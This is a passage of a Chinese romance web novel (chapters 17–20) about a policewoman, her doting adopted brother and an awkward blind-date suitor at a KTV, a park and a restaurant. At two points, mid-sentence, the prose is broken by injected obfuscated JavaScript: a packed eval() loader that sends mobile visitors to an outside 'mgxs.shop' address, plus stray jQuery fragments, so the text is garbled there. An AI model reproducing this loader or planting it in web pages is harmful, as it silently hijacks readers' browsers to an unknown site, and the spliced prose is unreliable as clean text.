武月直这辈子没别的软肋,谁一提想跟他学规矩道理,哪怕这个人是杀人犯他都会莫名心软,何况是老主顾!他笑着端上一杯茶,“老赵,看你说的,都是老朋友了,没事多来聊聊天,我这儿呀,孩子们都忙,一个人也闷得慌。” “这几天倒是没见厉枭,是不是队里太忙了?” “是,脚打后脑勺的,加班到凌晨都是常事。幸亏我家晏清懂事,每晚他姐姐无论回来多晚,他都起来给枭枭做夜宵热牛奶,不用我操心。平时啊,他姐姐那屋子也是她打扫。” “晏清,是您家的……” “是我家收养的孩子,从小就认识,来了一年多了,也算我孙子。对了,你家小民还见过呢。” “嗯,我听小民说了,那天跟厉枭吃饭的时候,见到了一个男孩。厉枭说怕两个人没共同语言,把她弟带过去,男孩之间能聊聊篮球什么的。” 武月直笑道,“枭枭这个孩子,平时查案大大方方的,这个时候倒害臊起来了!那天我跟她提起小民,她说自己一个当警察的,一贯粗鲁,小民是个斯文人,人家不会看上她的。我说你这孩子怎么还自卑了呢?她说自己不会做饭,没空顾家,怕耽误人家男孩子。又说自己那些电视台报道的事迹,作为英雄,是还可以。但做人老婆……谁愿意自己家里有个这么厉害的?后来呀,我好说歹说的,她说她怕小民对她不满意,跟她没话说,彼此尴尬,非要带她弟弟去。我没办法,只好同意了。老赵你说,这孩子,倒害臊上了……呵呵呵……” 赵父合不拢嘴道,“哎呦哎呦,我家小民回家,把厉枭夸得天上有地上无的。我们小民要是跟厉枭能成,那是我们老赵家祖坟冒青烟了。我以我的党性和原则向您保证,厉枭来我们家,绝对是比亲生的还疼。我老伴都说了,我们俩这辈子带大了一对双胞胎,太累了。厉枭又是警察,工作性质危险。我们绝对不催生,生不生孩子的,全是厉枭自己做主,小民也闭嘴。我家小雪在家什么待遇,厉枭只会比小雪更受宠。我们绝对把厉枭当手里的宝,呵护备至。” 武月直激动地握住赵父的手,“老赵,咱们认识几十年了,你的人品,我绝对信得过!难得你如此深明大义。你放心,如果孩子们真有缘分,我们也会对小民好的。” 赵父心满意足地离去,回家把武月直的话转述给赵母。赵母听完一句话不说,抢过赵父手里的水杯,“你怎么还有空喝茶呀,赶紧趁着今天休息去街上看看家具。我就说小民的房子得装修了……” 赵新民在父母的催促下又一次让武厉枭收到了粥底火锅之约,这次他得到的回复是:不好意思,我刚才吃过饭了。要不,我们去唱ktv吧。 赵新民把手机拿给赵新雪看,“姐,厉枭说想去唱ktv。” 赵新雪笑道,“去呀。不过……老弟我可求求你了,别再穿那红夹克了……呵呵呵……” “可我不会唱歌呀,要不,姐你陪我去吧。” “什么玩意儿!”赵新雪从沙发上跳了起来,“我给你转账五块钱收回你刚才的话,我陪你去,你咋想的呀!” “那厉枭她弟都陪她去了,你干嘛不能陪我去?” “摄政王她是……”赵新雪话到嘴边又咽回去了,“女生……女孩子头一次相亲难免紧张害臊。你一个大老爷们儿,你总不能跟个大姑娘似的扭扭捏捏吧!赵新民同学,想想你自己,你一个体制内的人民教师,太阳底下最光辉的职业,人类灵魂的工程师,还怕唱ktv?你把你上公开课讲一元二次方程的精神头拿出来,大胆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17849724|211799||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 地去唱!” 赵新民想了想,“那……我就去试试……对了,姐,咱爸咱妈总说让我给厉枭送礼物,我送啥呢?厉枭家那么有钱,我买的,她也看不上啊。” “礼物不看贵贱,在于有心。” “嗯……那天我在网上也看到了这句话,我还在论坛里问了别人。有人回复说:把自己割下来的痔疮息肉做成标本送给对方,绝对是最真诚的礼物……我那痔疮,是个外痔,不过也可以割……” “赵新民!”赵新雪厉声喝道,“趁我还没想到把你埋哪里,你给我把这句话收回去,否则别怪我大义灭亲!” 赵新民从柜子里拿出一只墨绿色羊绒呢礼帽,“姐,这帽子是咱妈给我买的,非让我跟厉枭约会时戴,她说有绅士风度。但我不知道戴这帽子要配啥衣服。你眼光好,帮我选选呗?” “啊啊啊啊!老弟,你找块豆腐拍死我行吗?你敢戴这帽子出门,以后走大道上别说我是你姐,你是我活爹!” 赵新民叹了口气,“唉,姐,有时候我真羡慕苏晏清,还有点嫉妒他。为啥当年掉进地缝里的不是我?我这辈子就那次掉黄酱缸里过,自己爬出来的,还被咱妈揍了一顿。” “老弟,光掉地缝里没有用,你还得有酒鬼爷爷、赌鬼爸爸、坐牢的奶奶,被拐卖的妈妈,十四年当孤儿的惨。” 赵新民挠挠脑袋,“为啥呢?” 赵新雪翻了个白眼,“你姐我的意思是只要有那小奶狗在,摄政王就看不见第二个男人。” “不能吧,苏晏清……不就是个刚成年的小屁孩子吗?他一个进网吧搞不好都得被检查身份证的小崽子,能吗?” “老弟,你有没有发现,你和摄政王之间,就像隔着一层磨砂玻璃,月朦胧鸟朦胧,你看不清她,她也看不清你。” “姐,你说是不是厉枭的那个养弟太黏人了,她不得不带着他相亲?你说这死小孩怎么这样?一个还没独立的人,已经是他姐的物质包袱了,现在还要当精神包袱?要不要脸啊?” 赵新雪翻了个天大的白眼,“我的新民哥呀……算了,你找个地方好好开开嗓,免得跟摄政王唱歌的时候掉链子。” “但我真的不会唱歌呀!我唱歌跑调。”赵新民从赵新雪的包里翻出化妆镜左照右照,“姐你说我长得有那么差吗?为啥咱妈生咱俩的时候,把颜值都给了你?” “咱妈生咱俩的时候不光把颜值都给了我,脑子也都给了我。到你那儿就胡乱塞了点羊水充数。” “其实我看苏晏清那小破孩也没多好看,不就是个子高点,脸白点吗?眼睛那么大,眼大漏神,跟个大眼贼似的。长得……也太妖娆了些吧?” “老弟呀,三百斤的杨过也是神雕大侠,年轻二十岁的欧阳锋也是个练蛤蟆功的老登。” 18. 你是姐姐的命 赵新民和武厉枭来到金色阳光ktv的包间,点完果盘还没到五分钟,苏晏清便背着书包推门而入,一脸笑容地跟他们打招呼,“新民哥好,姐,你们来了多久了?”他一身蓝白相间的校服,看起来像一株干净而挺拔的白杨。 “刚到。”武厉枭帮他把书包除了下来,帮她理了理额前的碎发,“怎么跑得这么急呀?” “新民哥上次说粉黛街的手抓饼好吃,我一下课就去买了,排了一个小时的队,那家店实在太火爆了!买到后我又怕凉了,特意打车送过来的。刚才上电梯的时候跑得急了些。”苏晏清从书包里拿出一包手抓饼分了起来,“新民哥你吃哪个?这里有芝士加肠青菜的,有原味加蛋和肉沫的,有紫薯加牛排和火鸡面的。” 赵新民道,“原味的吧。” 苏晏清把原味的递给赵新民,又把芝士味的递给武厉枭,“今天我让店家淋了芝士瀑布在里面,还从家里带了酸梅汤给你,保证不腻。” 武厉枭笑着接过来,“宝宝太好了!”然后把自己的手抓饼喂到苏晏清嘴里,“你也尝尝芝士瀑布的味道。” 苏晏清咬了一口,“好吃好吃。”又打开点唱机,“你们想唱什么歌?我来放给你们。对了,叫果盘没有?我去催催。” 赵新民道,“叫了。” “那我跟服务生说一下,我姐不爱吃爆米花,我让他们换成京糕条和蓝莓。” “好,”武厉枭点头道,“再让他们送一盘你喜欢的黄桃干。”又对赵新民道,“老同学,我弟唱歌好听,让我弟留下来跟我们一起玩好不好,你不介意吧?” 赵新民忘了武厉枭那亮如碎钻的眼睛,只觉得心飞神摇,“不介意,都听你的。厉枭,我给你点一首《少年壮志不言愁》吧。” 苏晏清端着果盘进来笑道,“哥你不知道,我姐喜欢古风歌曲,《痴情冢》、《桃花诺》、《游山恋》……新民哥我来点吧,你先吃手抓饼,等下冷了就不好吃了。”他用点唱机点了一首《这一拜》,“今天我来打头阵,以一首我最喜欢的《三国演义》里的《这一拜》,献给我尊敬的好大哥新民哥,愿你我的友谊天长地久,一生一世都做刘关张那样的好兄弟,谢谢。” 苏晏清自顾自地唱了起来,唱完了《这一拜》又唱起了《兄弟》。说真的,他唱歌水平不错,声音清越如泉,还有种纯情的痛感,那祝福语更是如蜜水儿一般灌得人熏熏欲醉,“一首《兄弟》,再一次献给我最崇敬的新民哥,愿新民哥前途似锦,大展宏图。谢谢……”” 苏晏清唱完后,又把麦克风递给武厉枭,“姐姐,下一首是你最擅长的《痴情冢》。” “哎呦,老同学在这里,我不好意思……” “没事,唱不上去的地方我陪你唱。” 武厉枭无奈,只得勉强唱了起来。苏晏清忙拿出手机给她拍视频和照片,边鼓掌欢呼边当气氛组,单膝跪地道,“姐姐,今夜,你是我的神……” 赵新民麻木地看着这一切,也“啪啪啪”地鼓了几下掌,“厉枭,你唱歌真好听。” “新民哥你不知道,我姐姐还代表她们局参加过全省公安系统卡拉ok大赛,等了总冠军呢。”又给武厉枭倒了一杯酸梅汤,“姐姐,渴了吧,喝点酸梅汤润润嗓子吧。” 武厉枭笑道,“给你新民哥也点一首歌吧。” “好。”苏晏清答应道,“哥你喜欢唱什么?” “我自己点吧。”赵新民坐到点唱机前,点了一首《鲁冰花》,刚唱了第一句“啊……夜夜想起妈妈的话……”武厉枭赶紧捂住了耳朵,苏晏清忙把那首歌切换了,把外套脱下来披在姐姐身上,搂住了她的肩膀,“没事了……姐姐别怕……” “这是怎么了?”赵新民不解道,“这歌……有什么问题吗?” “哥,我姐有一次执行任务时,犯罪嫌疑人用了这首歌,所以她不喜欢这歌。不好意思啊,你要唱什么,我来点。” “我……”赵新民想了想,“哎呀,我记得好像从初中毕业后我就没唱过歌。厉枭,咱们初三那次合唱比赛那首歌我还会唱,我们是五月的花海……” 武厉枭的脸色一阵阵发白,整个人还在苏晏清怀里颤抖,“那是《共青团之歌》。” “对对对,老弟,你就帮我点这首歌。” “好嘞!” 赵新民唱歌的时候,苏晏清剥来一只砂糖橘,撕掉上面的白丝,喂到武厉枭嘴里。又打开门,从快递员手里接过一大捧殷红欲滴的玫瑰花。 赵新民赶紧把麦克风放下了,一脸惊疑地拉住了苏晏清,“你这是什么意思?” “哥,这花是我送给你的。”苏晏清笑得光明正大道,“今天你和我姐来唱歌,我特意点了一捧花给你助助兴。”他看了看花茎,嘟囔道,“商家太粗心了,都不知道把刺剪掉。不要紧,我来剪。新民哥你唱就是,我把刺剪掉再送给你,免得扎到你的手。” 赵新民一头雾水地继续唱了起来,苏晏清让服务生送来了一把剪子,埋头修剪起了花枝。只听得“啊”地一声,武厉枭忙捧起苏晏清的手,“哎呀,宝宝你怎么流血了?” “刚才花刺扎到手了,没事姐姐,不要担心,别吓到新民哥……” “我帮你去医院……”武厉枭用纸巾抱住苏晏清的手,帮他拿过书包,头也不回地急匆匆地离去。 赵新民待到屏幕上出现了鼓掌的画面才反应过来,“我是不是该送她弟去医院……” 赵新民回到家里,给武厉枭发了个微信:你弟弟的手好点儿没有? 武厉枭回复:血止住了,多谢关心。 赵新民刚打出了几个字:我想周日约你去散步……又秒删除了。 厉枭周日……还得照顾弟弟,是吧? 武厉枭把苏晏清带回家里,用碘伏消了一下毒,就没事了。“宝宝,今晚洗澡的时候小心别沾水。” “嗯,没事了,姐姐。”苏晏清担忧道,“你说我们就这么回来了,新民哥会不会不高兴?” “你都受伤了,管他做什么?倒是今天……连累你为我说假话……” “姐姐……”苏晏清眼睛一红,哽咽了一下,“其实……我也怕《鲁冰花》……” “宝宝……对不起……” “没事……”苏晏清擦擦眼睛,“还好,我们不是古茶妹和古阿明,你没有失去弟弟,我也没失去姐姐……” 武厉枭轻叹着气,整理了一下苏晏清的书桌,“瞧你,怎么整天看书啊?你身体还没完全康复,要多休息,多晒太阳。” “我……”苏晏清不好意思地笑笑,“不看书,我也不知道做什么?” “看看电视啊!”武厉枭打开电视机,拉着苏晏清一起在床头坐下,“嗯,我帮你找找好看的节目……对了,这个时间段中央七套有动画片。” “动画片?”苏晏清有些哭笑不得,“姐姐,你喜欢看动画片?” “小时候当然喜欢了,现在不喜欢。看,《熊熊乐园》,宝宝,这是小熊大熊二的故事。你看你看,他俩小时候多可爱。” 苏晏清无奈地暗叹,“是……好可爱。” 武厉枭从冰箱里拿出苹果,洗干净切成块,用两根牙签扎在上面,一块一块地喂给苏晏清。 “姐姐,你也吃。”苏晏清扎起一块苹果要喂给武厉枭,却被摇头拒绝了,“你不要干扰我投喂人类幼崽的乐趣。” 苏晏清苦笑道,“遵命。”乖乖张开嘴让姐姐投喂,“这苹果又甜又脆,真好吃。” “这苹果是爷爷买的黄金帅,跟你这件衣服是一个颜色的。”武厉枭摸了摸苏晏清的身上那件鹅黄色亚麻盘扣上衣,“是妈妈的助理刚送来的?这颜色真的很衬你。你小时候最喜欢看刚出壳的小鸭子了,一看到就跟在后面追,说:鸭鸭,鸭鸭……”她看了看苏晏清的脸,“宝宝,你最近好像瘦了?脸色还是苍白的?” “没有没有。”苏晏清慌忙道,“没瘦。” 武厉枭拿出体重秤,“来,称一下。” “啊?”苏晏清就像不用功的学生突然被老师抽考一般,央求道,“姐姐,不用了吧?” “快站上去!” 苏晏清只得站到体重秤上,红鲜鲜的64千克让武厉枭瞪圆了眼睛,“回来这么久了,居然一斤都没长?” “我……”苏晏清仿佛做错了事一般,垂头道,“姐姐……” 武厉枭拿过他的手机检查了一下支付宝, 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“日用品……黄奶奶说怕我买不好,她都替我买好了……衣服,也都是阿姨送来的……我……我不喜欢去外面吃饭,不如食堂的卫生……ktv去过几次,都是室友们给广播电台打有奖竞猜热线得来的。电影、话剧和旅游……我的室友们不喜欢去,他们只喜欢打游戏,我自己……又觉得一个人去无聊,就没去。还有健身卡什么的……我们的专业课里经常有这种提前消费,商家中途倒闭带来的经济纠纷。所以我不会办卡的……” “那你每天都吃什么?我知道你们山大有贫困生窗口,有的学生经常是一碗饭配着免费的例汤,你不会是这样吃饭吧?” “没有没有,我吃了肉的,我每天都有吃鸡蛋,喝牛奶……” “那你怎么还这么瘦?”武厉枭的声音越来越大,懊恼不已道,“你知不知道姐姐花了多少心思想让你长得壮实一点……你……我不需要你给我省钱!你为什么不能对自己好一点?” “我……”苏晏清急得满脸通红,眼泪都快落下来了,“姐姐……对不起对不起……你别生气……是我不好……我真的有听你的话,好好吃饭,好好睡觉,没熬夜,没做兼职……你相信我,我会努力让自己长肉,我……我保证,从明天开始,我会努力每顿多吃一两米饭……我不会再辜负你……不会让你失望……” 武厉枭一看他这个样子,心就软了,摸摸他的头发道,“宝宝,你还小,还需要长身体,健健康康的,才有力气好好生活。是我考虑不周,你身边的都是一群糙男生……唉,也怪我太忙,没时间带你去旅游,陪你玩……我想让你过精致生活,有品质的生活……” 苏晏清眼圈一红,一行泪悄然滑落,投入武厉枭的怀里呜咽道,“姐姐,是我不好……” “没有没有,宝宝乖,”武厉枭拍着他后背安慰道,“是不是姐姐太严厉,吓到你了?宝宝不哭哦,不长肉肉就不长肉肉,”她摸着苏晏清的手,“瞧,你刚回来时候手手冷冰冰的,现在暖暖的,气血旺了,说明你有进步。我们宝宝棒棒的!” 苏晏清的眼泪簌簌而落,紧紧依偎在武厉枭怀里,“姐姐……你真是……你会把我宠坏的……” “就是要宠坏了……”武厉枭把下巴抵在苏晏清头上,“你缺了十四年的疼爱,怎么宠都不为过。”她轻轻嗅着苏晏清的头发,“宝宝,你头发好香啊……你能不能答应姐姐,每个月在吃饭上都要花两千块钱?” “两千?我吃不完的。” “怎么会呢?早餐要十块钱,午餐三十块钱,晚餐三十块钱,水果、牛奶、酸奶、蜂蜜、蛋白粉什么的,两千不多的。”武厉枭又故作严肃道,“你要是不听话,姐姐就让妈妈的司机天天给你送饭。” 苏晏清的脑海中又浮现出一幕幕大型社死的画面,吓得他赶紧保证,“姐姐,我听话,我会努力,吃得饱饱的,香香的。” “宝宝乖,今晚姐姐给你做辣炒蚬子和海胆蒸蛋,好不好?” “好。” “你知道你是姐姐的什么吗?” “什么?” “你是我的命。” 19. 我要回去改作业 周五的下午很快又来了,别的同事欢天喜地呼朋引伴地相约去郊外烧烤踏青,旅行打牌,赵新民沉默不语,也不搭话,也许在更久以前,他就把自己屏蔽成透明人了。 赵母又在饭桌上追问起来了,“小民,你给小武姑娘发信息了没有?小武姑娘回复了没有?”就像小时候天天追问,“作业写完了吗?考试成绩下来了吗?竞赛结果出来了吗?谁是你们班第一名?谁是你们班最高分……” 赵新民求助似的看了一眼姐姐,赵新雪给赵母夹了一筷子肉,“妈,你别老问这个行不行?人家说悄悄话能让你知道吗?你总打听总打听的,万一武老爷子把你当事儿多的婆婆,不让摄政王跟我弟谈恋爱怎么办?” 赵母赶紧说:“对对对,不能给武老爷子留坏印象……”又推了推赵父,“老赵你也记得,在武老爷子面前留好印象。” “这还用你说!”赵父洋洋得意道,“武老爷子让我明天去荣宝斋跟他下棋呢。昨天还把他先祖写的《武氏家训》请出来给我讲解了第二篇章。武家呀,真是慈悲为怀,世家风范!” 赵新雪哈哈笑道,“爸我看你这殷勤劲儿,要不你给武老爷子当学徒得了。” “这孩子是不是虎?”赵母瞥了赵新雪一眼,“你看你爸多努力?你呢?问没问你闺蜜们喜欢啥浪漫?” “嗯,问了。”赵新雪有嘴无心道,“喜欢去公园散步。” “哪个公园?” “我弟差点被藏獒咬死那公园。” 赵母道,“我知道我知道,长风公园,以前叫武家公园,是武老爷子的父亲新中国成立后主动献给国家的,一开始叫红旗公园。后来老城区改造后,又叫长风公园。小民,你也好多年没去那公园了,约小武姑娘去那里逛逛,讲讲你们小时候的事,提提她的救命之恩。” “不去!我害怕!”赵新民一口否决,“打死我也不去!” 赵父不满道,“小民你看看你这个样子,哪像男子汉?十多年前让狗吓一回,十多年后还记得。人家小武十一岁敢刀捅藏獒,你呢,这么胆小,小武怎么能看上你!” 赵新民想了想,鼓起勇气道,“去!谁怕谁!” 星期六早上,赵新民给武厉枭发了微信,“今天有空吗?我想约你去长风公园散步。” 武厉枭回复道,“我就在长风公园呢。” 赵新民赶紧去找她,发现她正穿着一套月光白苏绣红梅傲雪运动服,身边站着穿杏白苏绣水墨仙鹤运动服的苏晏清,二人正兴致勃勃地用手机互相拍照。武厉枭笑道,“哎呀,我怎么把你拍成大头娃娃了?” “没有没有,姐姐把我拍得比我本人好看多了。” “才不是呢,你等一下,我站得高一点再拍,你长得太高了,我够不到你……” “姐姐小心……”苏晏清忙扶住武厉枭的腰,却看到了满脸阴晴不定的赵新民,忙热情地跑过去,“新民哥来了,爷爷说我姐难得今天休息,让姐姐带我来公园走走。” “你俩这衣服是……” “我阿姨公司新出了一套改良汉服,就拿给姐姐和我了。来,新民哥,我给你俩拍张照片。”苏晏清举起手机,赵新民忙阻止道,“不不不,我不爱拍照。” “为啥呀?哥你这么帅,不拍照多可惜!” 赵新民苦笑道,“老弟,我哪有你帅?” 苏晏清笑得一脸谦逊,“哥,我长这么大很少有人说过我帅,也就是爷爷姐姐和叔叔阿姨说过,你是第五个。我太感动了,哥,我必须跟你拍张照片,发个朋友圈,让大家都知道,我有个好大哥!”然后搂过赵新民的肩膀,“姐,帮我和我哥拍张照片,拍得好看点啊!” 武厉枭拍完照,看了看时间,“新民,咱们在公园里逛逛,中午一起吃饭吧?我爷爷说他跟黄爷爷黄奶奶拜访老朋友,家里没人做午饭,让我和我弟一起解决。” 苏晏清道,“姐,你和新民哥一起吃吧。我还有点事。” “什么事?” “我上次看太爷爷留下的养身手札,学会了研制养生艾柱的方法。我就想着去药店里配齐药材,然后自己回家做艾柱。但家里没有加工机器,不能把各种药材压制平实。我问药店可不可以帮我加工,多给些手工费。药店说可以,让我一周后来取。今天到了一周了,我该去取艾柱了。” “宝宝,你好端端的为啥要做艾柱呢?” “太爷爷的手札上写:艾柱可以升阳益气,健脾去湿。我想着姐姐当警察,那么危险,容易受伤,就想着做艾柱给你用。我看那手札上写,有了艾柱,感冒发烧艾灸几个穴位就能好,可以不吃抗生素。” “宝宝,你对姐姐真好……”武厉枭摸着苏晏清的脸,“谢谢你……” “姐姐,你上次受寒咳嗽,我心里真是难过,恨不得代替你生病……” “姐姐答应你,以后好好照顾自己,不让你难过。我现在都迫不及待想看看你给我做的爱心艾柱了。”武厉枭拍了拍赵新民,“新民,一起去看看我弟给我做的艾柱。” 苏晏清搂着赵新民的肩膀,“哥我跟你说,我那艾柱里有足足九种中药,我给它起了个名字,叫九宝珍艾,好听吗?” 三人来到药店,取走了艾柱。苏晏清拿出了几颗用小盒子装起来,递给赵新民,“哥你也回家试试艾灸,你们当老师的久站久坐,批改作业,肯定肩膀和腰都容易不舒服。艾灸一下,能缓解好多。你要是用得好就跟我说,我再给你送去。” 赵新民接了过来,“谢谢老弟了。” 武厉枭挽住苏晏清的胳膊,“你今天这么乖,姐姐奖励你吃日本料理好不好?” “啊?”苏晏清一脸为难道,“可是姐姐,我还有别的事……” “又有什么事?” “那天我看爷爷的布鞋鞋面都磨破了,想趁今天休息日给爷爷买双鞋。你和新民哥先去吃饭吧,我买完鞋再去店里找你们。” “你这傻孩子!”武厉枭嗔道,“你没上班,哪来的钱?要给爷爷买鞋,也是我花钱买呀?也怪我成天忙,都没注意到爷爷的鞋。新民,我们一起去逛逛街,给我爷爷买双鞋,然后再吃饭,怎么样?” 赵新民点头道,“好,都听你们的。” 三个人一起来到万达购物广场的内联升专柜,武厉枭拿起一双青布千层底布鞋,问服务员有没有41码的。苏晏清忙阻止道,“姐姐,爷爷年纪大了,脚容易浮肿,还是选一双42码的吧。” “好,还是宝宝懂事。” 服务员拿来了42码布鞋,苏晏清按了按鞋底,“姐姐,这双底还是有点薄,减震效果不如厚底的好,还是换双厚底的吧,爷爷穿舒服些。” “好,宝宝最贴心了。” 武厉枭在收银台旁付款时,苏晏清看到她鞋带松了,忙蹲下给她系上,又帮她搓掉了裤脚沾的泥巴。武厉枭把他扶起来,微红着脸嗔道,“瞧你,这么多人,多不好意思……” 苏晏清则一脸的云淡风轻,凑到武厉枭耳边道,“姐姐,你不知道我给你系鞋带……有多幸福……你不知道你脸红的样子……有多美……” 赵新民指着隔壁柜台的一条苹果绿蕾丝长裙道,“厉枭,你穿这条裙子肯定好看。” 武厉枭扫了一眼,点点头,“这条裙子是挺好看的……” 苏晏清也点头道,“新民哥的品位的确不错。只是我姐姐的工作性质,穿这样的裙子奔跑起来不方便。女生一旦穿这样的裙子,就要配上手提包,高跟鞋什么的。那种鞋子走路不舒服,容易伤脚踝,对女生并不好。我觉得,我姐姐现在已经很漂亮了,她平时穿运动装和旅游鞋就很美。我不希望姐姐为别人的眼光而改变,她只要自信地做自己就可以了,自信的女生最美丽迷人。” “宝宝说得对!” “姐姐,我去趟洗手间。” 苏晏清离开五分钟后回来了,从口袋里掏出一只乳木果香氛护手霜,拉过武厉枭的手,仔仔细细地均匀涂上,“姐姐,我刚才看到了那边有卖这个品牌的护手霜,滋润补水不油腻。” “哎呀,好香啊!” “是啊,前一段时间看你的手被风吹得黑红的,看着真让我心疼。”苏晏清把护手霜拿到赵新民面前,“哥,我姐喜欢这个牌子的味道,清淡一些。” 赵新民“呵呵”干笑了两声,“厉枭,你肚子饿不饿?我们去吃饭吧。” 苏晏清说:“对哦,姐姐,你今早只喝了一杯牛奶,走了这么久,肚子一定饿了,你和新 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17849726|211799||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 民哥去吃饭吧,我就不打扰了。” “那你的午饭呢?” “冰箱里还有黄奶奶包的饺子,我回去煮饺子吃就可以了。昨晚我泡好了糯米,打算今天给你包一些红豆枣泥粽,爷爷说你最爱吃了。” “姐姐回去给你打包一份牛排好不好?” “不用了,新民哥,我姐姐爱吃沙朗牛排,七分熟,浇黑胡椒酱的,配芝士焗蜗牛和奶油蘑菇浓汤,面包喜欢吃香葱味儿的。你点餐的时候别忘了叮嘱服务生。” “放心吧。” 二人来到了西餐厅里,武厉枭环顾着四周的法式宫廷风乳白轻奢桌椅和随处可见的铃兰和天堂鸟,便兴致勃勃地拍起照来,“真好看,我拍给清宝看看。” 赵新民笑道,“你们姐弟感情真好。” “清宝很乖的,有他在,家里也多了不少生机。” 赵新民抿了抿嘴唇,“厉枭,你……你觉得一个什么样的人……适合……适合做你的……伴侣……” “哦,这个问题我还真没想过,恋爱和婚姻,本就要看缘分吧。” “你觉得……我这人……怎么样……” “挺好的,老实本分,人品好,脾气好,工作体面,容易相处,是个浮华世界里难得的好人。对了,赵叔叔那个人也特别好。我爷爷说:赵叔叔经常来找他下棋,还送了他一株十八罗汉。我爷爷特别喜欢跟他聊天。我爷爷说,赵叔叔很喜欢听他讲《武氏家训》和先祖的故事,而且颇有心得。” “嗯,我爸爸也总说,他非常敬佩武爷爷。” “赵叔叔来,我爷爷也有了陪他说话的人……”武厉枭端起服务生倒的柠檬水喝了一口,皱眉道,“麻烦帮我换一杯热水,谢谢。”又解释道,“我平时习惯了喝热水。” “哦,女孩子有几天……是不能喝冷水的……” “不是,我以前也吃冰饮,冰奶茶,但有一次血崩的经历把我吓到了,后来还是吃中药才好的。那段时间,吃药真吃烦了,我弟就每天上网查资料,给我熬红糖姜茶。他看到书上说,像我这种肝不藏血的体质必须断生冷。从那以后,除非是案子紧迫,否则我都是喝热水。” 土豆泥沙拉上来后,武厉枭品了一小口,微微皱了皱眉,戚风奶酪蛋糕也是生冷的。她只好招呼服务生一一换成热餐,“不好意思啊,牛排是热的,我吃热餐时配生冷食物会肚子不舒服的。” “哦,”赵新民不好意思道,“是我太粗心了。” 武厉枭笑道,“我平时也很粗心的,都是我弟提醒我。” “晏清……他真的很细心……” “是啊,我弟特别乖,他用自己的奖学金给爷爷,黄爷爷黄奶奶每人买了一盒西洋参。爷爷说,晏清像亲孙子一样孝顺。对了,你们男生都喜欢什么样的电动车?” “我不知道,我开车上班的。” “哦,我弟平时回家都是骑自行车或是坐公交车,太辛苦了。我想给他买一辆电动车。你说,买双轮的好,还是买三轮大空间带顶棚的电动车?” 赵新民想了想,“你给他买辆电动旅游观光车吧。一次能拉八个人那种。山大本来就是5a级风景区,他不上课的时候,还能拉拉客人挣点钱。” 武厉枭哈哈笑道,“你也太幽默了吧……” 赵新民一本正经道,“幽不好,瞎幽。”他喝了一口饮料道,“厉枭,小学同学你还有联系吗?” “没有了。”武厉枭想了想,“我弟已经把驾照考下来,要不……我先给他买一辆丰田普拉多开,等他毕业了,再换成跟我一样的路虎,或者说是宾利……” “我觉得你可以考虑给苏晏清弄个私人小飞机。省得他上班路上堵车。” “我都不敢想象他看到新车的样子有惊喜!”武厉枭看了一眼赵新民腕上的手表,“新民,你的手表满好看的。” “哦,我去年刚参加工作时我姐给我买的,卡西欧男式商务表,说戴个手表方便随时看时间。” 武厉枭想了想,“对哦,我也得给我弟买块表,德国的布加迪品牌手表质量和款式都还不错,新民,你待会儿有空吗?陪我去参谋一下。” 赵新民塞了满嘴的牛排,“我等一下要回办公室改作业。” 20. 第 20 章 武厉枭从西餐厅出来,就接到了赵淮晋的电话。 “喂,哥?” “枭枭宝贝,最近好吗?听说你们单位在帮你申请二级英模?” “嗯,其实我资历很浅的……” “枭枭宝贝,听说你们家新住进来一个男孩?” “哦,是我弟弟。” “弟弟?你是独生子女的。” “是我爸爸妈妈收养的孩子。” “这位老弟多大了?” “十九岁了。” 赵淮晋笑道,“成年了,不符合法定收养年龄的。” “我们从小就认识,只不过刚接回家而已。” “那老弟既然回家了,我这个当哥的请他吃个饭吧,表示表示。” “他最近身体不好,我看还是算了吧,谢谢你啊,哥。” “年纪轻轻的,总会有康复的时候,到时候我再请,我也见见老弟。” “他功课很忙的。” “寒暑假和休息日总有不忙的时候。” “他……性子腼腆,怕生……” “我家枭枭宝贝的弟弟,怎么会腼腆怕生?你该不会是嫌弃哥,不给你哥我这个面子吧?” “哥,我怎么会呢!” “那说定了,下周六我请你和老弟吃饭,说好了啊。” 赵新民在办公室改作业改掉天黑才回家,一开门就嚷嚷道,“爸、妈,我饿了,有吃的吗?” 赵母奇道,“你不是和小武姑娘约会吗?没吃饭吗?” “那不是中午吃的吗?” “中午吃完了,下午再一起逛逛街,给人家买两件衣服,看场电影,不就吃晚饭了吗?” “她是说让我陪她逛街去的,我没去,我回学校改作业了。” “什么?”正在厨房钻研粥底火锅的赵父拎着锅铲子冲了出来,“你……你不陪人家逛街……回学校改作业!” 赵母也恨不得一拖鞋拍过去,“你傻呀?人家让你陪她逛街,你改哪门子作业呀!” 赵新民不服气道,“我就是烦她对她弟那么好,三句话不离她弟,还说让我陪她给她弟选手表!” “那是她弟,她当然对她好了!”赵母眼珠子一瞪,恨铁不成钢道,“你舅上大学时我也给张罗他买手表,那个时候我和你爸还没结婚呢,你爸主动掏钱给你舅买手表。” “就是,”赵父气得坐在沙发上捂着胸口直顺气,“老伴你说这孩子这么不会办事随谁?咱家人都不这样啊!爸爸为了你,天天去荣宝斋武家老号学家训,学规矩。买了一大堆海鲜琢磨粥底火锅,你可倒好,人家姑娘刚给你三分颜色你就开染坊!” “行啦!”赵母端坐在沙发上,“老规矩,你给我一句一句地说说,你今天又说啥了!小雪你也过来听听,别摆弄你那破指甲油了,帮你弟复盘一下。” 